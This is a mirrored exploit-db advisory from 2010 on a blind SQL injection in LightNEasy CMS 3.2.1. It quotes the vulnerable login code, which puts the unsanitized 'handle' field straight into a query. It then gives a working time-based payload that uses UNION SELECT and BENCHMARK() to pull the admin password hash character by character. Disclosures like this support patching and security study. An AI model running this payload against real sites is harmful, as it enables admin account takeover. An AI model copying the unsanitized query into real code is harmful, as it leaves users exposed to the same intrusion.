LightNEasy CMS 3.2.1 – Blind SQL Injection

  • 作者: Solidmedia
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15060/
  • # Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
    # Date: 20.09.2010
    # Author: Stephan Sattler // Solidmedia.de
    # Software Website: http://www.lightneasy.org/
    # Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127
    # Version: 3.2.1
    # Special Thanks to: Dominik Landtwing
     
     
    [ Vulnerability]
    
    # Vulnerable Code:
    
    common.php line 112-148
    
    function login() {
    	global $message, $set, $langmessage, $prefix;
    	if($_SESSION[$set['password']]!="1") {
    	if($_GET['do']=="login" && $_POST['handle']!="") {
    		$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
    		if($row = fetch_array($result)) {
    			if($row['password'] == sha1($_POST['password'])) {
    					...
    
    }}}}}
     
    # Explanation:
    
    $_POST['handle'] isn't sanitized before executing the database query.
    
    
    Since the only user after a fresh install is the admin-user with id 1 and
    a normal visitor can't register we have to retrieve the admin hash by using benchmark().
    
    # Exploiting the Vulnerability // PoC:
    
    URL: http://localhost/LNE/LightNEasy.php?do=login
    
    Postdata:
    
    handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
    
    This will trigger benchmark() if the first character of the admin hash is b.